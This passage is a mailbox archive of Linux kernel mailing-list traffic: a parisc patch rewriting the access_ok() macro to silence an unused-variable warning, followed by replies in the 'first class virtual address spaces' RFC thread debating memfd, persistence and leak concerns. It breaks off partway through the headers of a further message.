Commit 09b871ffd4d8 (parisc: Define access_ok() as macro) missed to mark uaddr
as used, which then gives compiler warnings about unused variables.

Fix it by comparing uaddr to uaddr which then gets optimized away by the
compiler.

Signed-off-by: Helge Deller <deller@gmx.de>
Fixes: 09b871ffd4d8 ("parisc: Define access_ok() as macro")

diff --git a/arch/parisc/include/asm/uaccess.h b/arch/parisc/include/asm/uaccess.h
index fb4382c..edfbf9d 100644
--- a/arch/parisc/include/asm/uaccess.h
+++ b/arch/parisc/include/asm/uaccess.h
@@ -32,7 +32,8 @@
  * that put_user is the same as __put_user, etc.
  */
 
-#define access_ok(type, uaddr, size) (1)
+#define access_ok(type, uaddr, size)	\
+	( (uaddr) == (uaddr) )
 
 #define put_user __put_user
 #define get_user __get_user
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Till Smejkal <till.smejkal@googlemail.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.drivers.mtd,gmane.linux.usb.general,gmane.linux.file-systems,gmane.linux.kernel.aio.general,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.alsa.devel
Subject: Re: [RFC PATCH 00/13] Introduce first class virtual address spaces
Date: Wed, 15 Mar 2017 14:30:43 -0700
Lines: 55
Approved: news@gmane.org
Message-ID: <20170315213042.e5q6daqkqoam2iun@arch-dev>
References: <20170315194723.GJ1693@brightrain.aerifal.cx>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1489613461 4522 195.159.176.226 (15 Mar 2017 21:31:01 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 15 Mar 2017 21:31:01 +0000 (UTC)
User-Agent: NeoMutt/20170306 (1.8.0)
Cc: Andy Lutomirski <luto@amacapital.net>,
	Andy Lutomirski <luto@kernel.org>,
	Till Smejkal <till.smejkal@googlemail.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>, Steven Miao <realmz6@gmail.com>,
	Richard Kuo <rkuo@codeaurora.org>, Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	James Hogan <james.hogan@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de
To: Rich Felker <dalias@libc.org>
Original-X-From: owner-linux-mm@kvack.org Wed Mar 15 22:30:49 2017
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1coGVJ-00080Y-5a
	for glkm-linux-mm-2@m.gmane.org; Wed, 15 Mar 2017 22:30:45 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id D74C46B0388; Wed, 15 Mar 2017 17:30:49 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id D25886B038A; Wed, 15 Mar 2017 17:30:49 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id AB19F6B0389; Wed, 15 Mar 2017 17:30:49 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-wr0-f200.google.com (mail-wr0-f200.google.com [209.85.128.200])
	by kanga.kvack.org (Postfix) with ESMTP id 455CB6B038A
	for <linux-mm@kvack.org>; Wed, 15 Mar 2017 17:30:49 -0400 (EDT)
Original-Received: by mail-wr0-f200.google.com with SMTP id g10so5179664wrg.5
        for <linux-mm@kvack.org>; Wed, 15 Mar 2017 14:30:49 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:dkim-signature:from:date:to:cc:subject
         :message-id:mail-followup-to:mime-version:content-disposition
         :in-reply-to:user-agent;
        bh=1+M/lApnImxxd201Kj3J/Twbmk6raMaTIn7GKmQAQ/I=;
        b=qrJornJhpsnBJLgTJpsIXqLIcoE/ndgH6+bgV2FLUaqDS8+g+w1sAdwD4s6idLpTFY
         npdL0bzXSn0Sj4gyWdybkPjSpIxvcMpN8V10aVKKH5qQZtd2e2zvbNKSPXRzcU5NCNOv
         rtpbau7oxp0yVHhiaWItBxAcNFWFvSWgOuWktSh6mEZ08VsJ8nzGaI+tXn6y0YIWLCa1
         8PqVUfdbsl5BE/XmLLSFqKBLkZcmGvDpfBzb0l/PHfhZQDdR331solU8SZtzd3pjfC12
         QDBxcpGZHsu8IR2n/5pPt+mBgwvMGOWanKaXJBrA2/wMOWKoFsGnsUoircOdaCYvH6H1
         FX4w==
X-Gm-Message-State: AFeK/H3XaoUVCHf2LEAYd7aXbaf22Rv0Zu9pewmKwTQvxqZBtLvqFlDTHeatzBfAyucx65aIYfuNbOuWnSxRoxVoNuh81KWt+otAY3vPCRurn93l+/ZgyCA2HX63EGfwWZkF4OPogr89zX0wIGgrjexD8jcCLjVV9T/dNXWG012nk1Xth8rYdmcR8Z2UT5Pc1TNV0DLfbCxGySBdPKAzpYy67nvjLydZbwfBS7CRuB9mjFgsGM5NtLfxQ6SxXSHWbVzFXmkNOG1lAd+8BpzGOn9Rd9CGQxeOsz67d8AnTjcJSiioDA==
X-Received: by 10.28.137.208 with SMTP id l199mr20612473wmd.65.1489613448845;
        Wed, 15 Mar 2017 14:30:48 -0700 (PDT)
X-Received: by 10.28.137.208 with SMTP id l199mr20612427wmd.65.1489613447845;
        Wed, 15 Mar 2017 14:30:47 -0700 (PDT)
Original-Received: from mail-wr0-x241.google.com (mail-wr0-x241.google.com. [2a00:1450:400c:c0c::241])
        by mx.google.com with ESMTPS id n124si1893822wmg.96.2017.03.15.14.30.47
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 15 Mar 2017 14:30:47 -0700 (PDT)
Received-SPF: pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c0c::241 as permitted sender) client-ip=2a00:1450:400c:c0c::241;
Authentication-Results: mx.google.com;
       dkim=pass header.i=@googlemail.com;
       spf=pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c0c::241 as permitted sender) smtp.mailfrom=till.smejkal@googlemail.com;
       dmarc=pass (p=QUARANTINE sp=QUARANTINE dis=NONE) header.from=googlemail.com
Original-Received: by mail-wr0-x241.google.com with SMTP id g10so3602145wrg.0;
        Wed, 15 Mar 2017 14:30:47 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=20161025;
        h=from:date:to:cc:subject:message-id:mail-followup-to:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=1+M/lApnImxxd201Kj3J/Twbmk6raMaTIn7GKmQAQ/I=;
        b=cvUJBdexXS4lUo8eGmr/vJO0QBXQBjia8M5cRstba8gBLzglcXb14w3ZL5BrVZkrol
         Gsxt6qtDKUHZ2dV22CE7jkYHHXIgxwPFLDAUV8/N+KFF7k1ScNA1o2fb+/cDt2RBvj08
         y/OgwCOMYTaFn7LiqITptz4NbT3+F4sdD2iFxJgufR7pRg0JGCKyIZrvo1C4Vvx3Eh4V
         gO7S7bqHyBmgRCLG6wuXva3NKZgPaj/LJSh7NC0TxOWI8kKiXnOnW6uQ9HJfuJ2/dP20
         74PWFAmFSLfbA9ZDitBfRqdA03o+0y9VlUqOQifeSdPNk2bS+GVQXr7WPyReoDzw5uw6
         a3pA==
X-Received: by 10.223.130.144 with SMTP id 16mr5385217wrc.32.1489613446772;
        Wed, 15 Mar 2017 14:30:46 -0700 (PDT)
Original-Received: from localhost (login1.zih.tu-dresden.de. [141.76.16.140])
        by smtp.googlemail.com with ESMTPSA id k43sm3740776wrk.42.2017.03.15.14.30.44
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Wed, 15 Mar 2017 14:30:45 -0700 (PDT)
X-Google-Original-From: Till Smejkal <till.smejkal@gmail.com>
Mail-Followup-To: Rich Felker <dalias@libc.org>,
	Andy Lutomirski <luto@amacapital.net>,
	Andy Lutomirski <luto@kernel.org>,
	Till Smejkal <till.smejkal@googlemail.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>, Steven Miao <realmz6@gmail.com>,
	Richard Kuo <rkuo@codeaurora.org>, Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	James Hogan <james.hogan@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwidefsky@d 
Content-Disposition: inline
In-Reply-To: <20170315194723.GJ1693@brightrain.aerifal.cx>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:168438 gmane.linux.kernel:2433257 gmane.linux.ports.alpha:4152 gmane.linux.kernel.arc:2246 gmane.linux.ports.arm.kernel:565508 gmane.linux.ports.hexagon:1177 gmane.linux.ports.ia64:27716 gmane.linux.kernel.metag:1286 gmane.linux.ports.mips.general:58473 gmane.linux.ports.parisc:27348 gmane.linux.ports.ppc64.devel:139686 gmane.linux.ports.sh.devel:55151 gmane.linux.ports.sparc:24756 gmane.linux.drivers.video-input-infrastructure:114914 gmane.linux.drivers.mtd:72590 gmane.linux.usb.general:156228 gmane.linux.file-systems:119210 gmane.linux.kernel.aio.general:4972 gmane.linux.kernel.api:22572 gmane.linux.kernel.cross-arch:35595 gmane.linux.alsa.devel:165407
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/168438>

On Wed, 15 Mar 2017, Rich Felker wrote:
> On Wed, Mar 15, 2017 at 12:44:47PM -0700, Till Smejkal wrote:
> > On Wed, 15 Mar 2017, Andy Lutomirski wrote:
> > > > One advantage of VAS segments is that they can be globally queried by user programs
> > > > which means that VAS segments can be shared by applications that not necessarily have
> > > > to be related. If I am not mistaken, MAP_SHARED of pure in memory data will only work
> > > > if the tasks that share the memory region are related (aka. have a common parent that
> > > > initialized the shared mapping). Otherwise, the shared mapping have to be backed by a
> > > > file.
> > > 
> > > What's wrong with memfd_create()?
> > > 
> > > > VAS segments on the other side allow sharing of pure in memory data by
> > > > arbitrary related tasks without the need of a file. This becomes especially
> > > > interesting if one combines VAS segments with non-volatile memory since one can keep
> > > > data structures in the NVM and still be able to share them between multiple tasks.
> > > 
> > > What's wrong with regular mmap?
> > 
> > I never wanted to say that there is something wrong with regular mmap. We just
> > figured that with VAS segments you could remove the need to mmap your shared data but
> > instead can keep everything purely in memory.
> > 
> > Unfortunately, I am not at full speed with memfds. Is my understanding correct that
> > if the last user of such a file descriptor closes it, the corresponding memory is
> > freed? Accordingly, memfd cannot be used to keep data in memory while no program is
> > currently using it, can it? To be able to do this you need again some representation
> 
> I have a name for application-allocated kernel resources that persist
> without a process holding a reference to them or a node in the
> filesystem: a bug. See: sysvipc.

VAS segments are first class citizens of the OS similar to processes. Accordingly, I
would not see this behavior as a bug. VAS segments are a kernel handle to
"persistent" memory (in the sense that they are independent of the lifetime of the
application that created them). That means the memory that is described by VAS
segments can be reused by other applications even if the VAS segment was not used by
any application in between. It is very much like a pure in-memory file. An
application creates a VAS segment, fills it with content and if it does not delete it
again, can reuse/open it again later. This also means, that if you know that you
never want to use this memory again you have to remove it explicitly, like you have
to remove a file, if you don't want to use it anymore.

I think it really might be better to implement VAS segments (if I should keep this
feature at all) with a special purpose filesystem. The way I've designed it seams to
be very misleading.

Till

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:39:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Till Smejkal <till.smejkal@googlemail.com>
Newsgroups: gmane.linux.kernel.aio.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.drivers.mtd,gmane.linux.usb.general,gmane.linux.file-systems,gmane.linux.kernel.mm,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.alsa.devel
Subject: Re: [RFC PATCH 00/13] Introduce first class virtual address spaces
Date: Wed, 15 Mar 2017 15:02:34 -0700
Lines: 76
Approved: news@gmane.org
Message-ID: <20170315220234.mooiyrzqdsglo4lp@arch-dev>
References: <CALCETrXfGgxaLivhci0VL=wUaWAnBiUXC47P7TUaEuOYV_-X_g@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1489615370 17570 195.159.176.226 (15 Mar 2017 22:02:50 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 15 Mar 2017 22:02:50 +0000 (UTC)
User-Agent: NeoMutt/20170306 (1.8.0)
Cc: Andy Lutomirski <luto@kernel.org>,
	Till Smejkal <till.smejkal@googlemail.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>, Steven Miao <realmz6@gmail.com>,
	Richard Kuo <rkuo@codeaurora.org>, Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	James Hogan <james.hogan@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Yoshinori Sato <ysato@users.
To: Andy Lutomirski <luto@amacapital.net>
Original-X-From: owner-linux-aio@kvack.org Wed Mar 15 23:02:38 2017
Return-path: <owner-linux-aio@kvack.org>
Envelope-to: gla-linux-aio@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-aio@kvack.org>)
	id 1coH06-0003BE-Py
	for gla-linux-aio@m.gmane.org; Wed, 15 Mar 2017 23:02:35 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 759086B038C; Wed, 15 Mar 2017 18:02:40 -0400 (EDT)
Delivered-To: linux-aio-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 6E0A76B038D; Wed, 15 Mar 2017 18:02:40 -0400 (EDT)
X-Original-To: int-list-linux-aio@kvack.org
X-Delivered-To: int-list-linux-aio@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 55A066B038F; Wed, 15 Mar 2017 18:02:40 -0400 (EDT)
X-Original-To: linux-aio@kvack.org
X-Delivered-To: linux-aio@kvack.org
Original-Received: from mail-wr0-f198.google.com (mail-wr0-f198.google.com [209.85.128.198])
	by kanga.kvack.org (Postfix) with ESMTP id E9D206B038D
	for <linux-aio@kvack.org>; Wed, 15 Mar 2017 18:02:39 -0400 (EDT)
Original-Received: by mail-wr0-f198.google.com with SMTP id v66so5305490wrc.4
        for <linux-aio@kvack.org>; Wed, 15 Mar 2017 15:02:39 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:dkim-signature:from:date:to:cc:subject
         :message-id:mail-followup-to:mime-version:content-disposition
         :in-reply-to:user-agent;
        bh=SbA76JK6O+LKZN4psyTwoOuC866e0HHdXY9Ocr2eOvk=;
        b=bXiDmMWieRFdIdtwhn2XCNPA52lu109arL8LuiyWcjbJsS6lEUGlXPMYsZkWddMRmg
         8O7gGBWwnBT41aD9IidZQQhAJxtGA3o/Oi8Rigqw9KgMm6sh2gVQomoCB3X4HHKzEBy3
         BdZprgR1/3cQ6/LcL02CJqq27+9F4UEsAz+Oqk2EQAlVBpnzSRj80JD7vp6EHWdtECch
         yZrW63elo5vb9dOuOPE2M9iV//+1mSQbvOlfLfCI5RhTd0gltYm7bUzUFmPawHYYWjQn
         m42lHyBXKKPF7+ivDHa+grD9ta1pA4VTh1VHSLIxps3i6eJqSweHfwG/IBExFAFddY6K
         Rckw==
X-Gm-Message-State: AFeK/H3d5Yy7pRptABFDXGGwYInwTOydb2gnkAkZxpzFLEXUj/kkUShFS1Zr50TriWjpdeBIiHG9IcWI5e3eP3VcB+cr/xhvp/lxOa+CLNgnvT+ZHkmXPJYg5Ph+937L+dFj/QjRw+TfqA/7JmjBL0QWC3H3dPsadxgupwmn9H/j3l4FzzT9ZUQOPZuktNWp/H8ntBzPidcKscgOcTxeY2hj6HpGOrji3gKBLa6Bbbaf4l8veMBrHnYjXYyj7BpTw3Tl63OwutamAhoTu3otVE1EfJdq6YDmAky+980MLc66KUpXL1WZ9Xo=
X-Received: by 10.28.109.147 with SMTP id b19mr22321105wmi.69.1489615359498;
        Wed, 15 Mar 2017 15:02:39 -0700 (PDT)
X-Received: by 10.28.109.147 with SMTP id b19mr22321065wmi.69.1489615358723;
        Wed, 15 Mar 2017 15:02:38 -0700 (PDT)
Original-Received: from mail-wr0-x243.google.com (mail-wr0-x243.google.com. [2a00:1450:400c:c0c::243])
        by mx.google.com with ESMTPS id w132si1969106wmg.127.2017.03.15.15.02.37
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 15 Mar 2017 15:02:38 -0700 (PDT)
Received-SPF: pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c0c::243 as permitted sender) client-ip=2a00:1450:400c:c0c::243;
Authentication-Results: mx.google.com;
       dkim=pass header.i=@googlemail.com;
       spf=pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c0c::243 as permitted sender) smtp.mailfrom=till.smejkal@googlemail.com;
       dmarc=pass (p=QUARANTINE sp=QUARANTINE dis=NONE) header.from=googlemail.com
Original-Received: by mail-wr0-x243.google.com with SMTP id g10so3677391wrg.0;
        Wed, 15 Mar 2017 15:02:37 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=20161025;
        h=from:date:to:cc:subject:message-id:mail-followup-to:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=SbA76JK6O+LKZN4psyTwoOuC866e0HHdXY9Ocr2eOvk=;
        b=YA8qj6/SaieXwMNTtnYfU3R+/sZLFDBpp3kFz652y9yVUsDxLprgm0gNvbKzo/Sv/Y
         3FNeTnNUHNuOE11al6+wsOTMDxZ6d7OnVCE8aW0FtasWA2h0vLTqXyQ01RKp+wRcsZs8
         mIaxoYzkUHcXMV4ttBPeXGXiqhIfGpwmISOR4Nwc7zlqBeGRYwYWRC6iz5E6rFbDFO+q
         F1m9JCw5C8cOiEOOwKfj87/iV+T5n+yVgEN9FRdLUzTd4IP3ne+zDS3wqMSAwdJJKe6a
         wc7n0sRxNBtd2tj3KjeMTBeG8LfQXHavemz0CjTJQCPm+7rmlPT0GSspHqNx+QDS7OmU
         6LRA==
X-Received: by 10.223.163.206 with SMTP id m14mr5600713wrb.34.1489615357666;
        Wed, 15 Mar 2017 15:02:37 -0700 (PDT)
Original-Received: from localhost (login1.zih.tu-dresden.de. [141.76.16.140])
        by smtp.googlemail.com with ESMTPSA id d1sm3815421wrb.62.2017.03.15.15.02.36
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Wed, 15 Mar 2017 15:02:36 -0700 (PDT)
X-Google-Original-From: Till Smejkal <till.smejkal@gmail.com>
Mail-Followup-To: Andy Lutomirski <luto@amacapital.net>,
	Andy Lutomirski <luto@kernel.org>,
	Till Smejkal <till.smejkal@googlemail.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>, Steven Miao <realmz6@gmail.com>,
	Richard Kuo <rkuo@codeaurora.org>, Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	James Hogan <james.hogan@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <hei 
Content-Disposition: inline
In-Reply-To: <CALCETrXfGgxaLivhci0VL=wUaWAnBiUXC47P7TUaEuOYV_-X_g@mail.gmail.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-aio@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-aio.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.aio.general:4973 gmane.linux.kernel:2433280 gmane.linux.ports.alpha:4153 gmane.linux.kernel.arc:2247 gmane.linux.ports.arm.kernel:565517 gmane.linux.ports.hexagon:1178 gmane.linux.ports.ia64:27717 gmane.linux.kernel.metag:1287 gmane.linux.ports.mips.general:58474 gmane.linux.ports.parisc:27349 gmane.linux.ports.ppc64.devel:139689 gmane.linux.ports.sh.devel:55152 gmane.linux.ports.sparc:24757 gmane.linux.drivers.video-input-infrastructure:114918 gmane.linux.drivers.mtd:72591 gmane.linux.usb.general:156229 gmane.linux.file-systems:119220 gmane.linux.kernel.mm:168440 gmane.linux.kernel.api:22582 gmane.linux.kernel.cross-arch:35596 gmane.linux.alsa.devel:165408
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.aio.general/4973>

On Wed, 15 Mar 2017, Andy Lutomirski wrote:
> On Wed, Mar 15, 2017 at 12:44 PM, Till Smejkal
> <till.smejkal@googlemail.com> wrote:
> > On Wed, 15 Mar 2017, Andy Lutomirski wrote:
> >> > One advantage of VAS segments is that they can be globally queried by user programs
> >> > which means that VAS segments can be shared by applications that not necessarily have
> >> > to be related. If I am not mistaken, MAP_SHARED of pure in memory data will only work
> >> > if the tasks that share the memory region are related (aka. have a common parent that
> >> > initialized the shared mapping). Otherwise, the shared mapping have to be backed by a
> >> > file.
> >>
> >> What's wrong with memfd_create()?
> >>
> >> > VAS segments on the other side allow sharing of pure in memory data by
> >> > arbitrary related tasks without the need of a file. This becomes especially
> >> > interesting if one combines VAS segments with non-volatile memory since one can keep
> >> > data structures in the NVM and still be able to share them between multiple tasks.
> >>
> >> What's wrong with regular mmap?
> >
> > I never wanted to say that there is something wrong with regular mmap. We just
> > figured that with VAS segments you could remove the need to mmap your shared data but
> > instead can keep everything purely in memory.
> 
> memfd does that.

Yes, that's right. Thanks for giving me the pointer to this. I should have researched
more carefully before starting to work at VAS segments.

> > VAS segments on the other side would provide a functionality to
> > achieve the same without the need of any mounted filesystem. However, I agree, that
> > this is just a small advantage compared to what can already be achieved with the
> > existing functionality provided by the Linux kernel.
> 
> I see this "small advantage" as "resource leak and security problem".

I don't agree here. VAS segments are basically in-memory files that are handled by
the kernel directly without using a file system. Hence, if an application uses a VAS
segment to store data the same rules apply as if it uses a file. Everything that it
saves in the VAS segment might be accessible by other applications. An application
using VAS segments should be aware of this fact. In addition, the resources that are
represented by a VAS segment are not leaked. As I said, VAS segments are much like
files. Hence, if you don't want to use them any more, delete them. But as with files,
the kernel will not delete them for you (although something like this can be added).

> >> This sounds complicated and fragile.  What happens if a heuristically
> >> shared region coincides with a region in the "first class address
> >> space" being selected?
> >
> > If such a conflict happens, the task cannot use the first class address space and the
> > corresponding system call will return an error. However, with the current available
> > virtual address space size that programs can use, such conflicts are probably rare.
> 
> A bug that hits 1% of the time is often worse than one that hits 100%
> of the time because debugging it is miserable.

I don't agree that this is a bug at all. If there is a conflict in the memory layout
of the ASes the application simply cannot use this first class virtual address space.
Every application that wants to use first class virtual address spaces should check
for error return values and handle them.

This situation is similar to mapping a file at some special address in memory because
the file contains pointer based data structures and the application wants to use
them, but the kernel cannot map the file at this particular position in the
application's AS because there is already a different conflicting mapping. If an
application wants to do such things, it should also handle all the errors that can
occur.

Till

--
To unsubscribe, send a message with 'unsubscribe linux-aio' in
the body to majordomo@kvack.org.  For more info on Linux AIO,
see: http://www.kvack.org/aio/
Don't email: <a href=mailto:"aart@kvack.org">aart@kvack.org</a>


From - Thu Nov 08 21:39:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Till Smejkal <till.smejkal@googlemail.com>
Newsgroups: gmane.linux.kernel.aio.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.drivers.mtd,gmane.linux.usb.general,gmane.linux.file-systems,gmane.linux.kernel.mm,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.alsa.devel
Subject: Re: [RFC PATCH 00/13] Introduce first class virtual address spaces
Date: Wed, 15 Mar 2017 16:18:43 -0700
Lines: 37
Approved: news@gmane.org
Message-ID: <20170315231843.sgxzg6qj34anyirs@arch-dev>
References: <20170315220952.GA1435@intel.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1489619937 16758 195.159.176.226 (15 Mar 2017 23:18:57 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 15 Mar 2017 23:18:57 +0000 (UTC)
User-Agent: NeoMutt/20170306 (1.8.0)
Cc: Andy Lutomirski <luto@amacapital.net>,
	Andy Lutomirski <luto@kernel.org>,
	Till Smejkal <till.smejkal@googlemail.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>, Steven Miao <realmz6@gmail.com>,
	Richard Kuo <rkuo@codeaurora.org>,
	Fenghua Yu <fenghua.yu@intel.com>,
	James Hogan <james.hogan@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
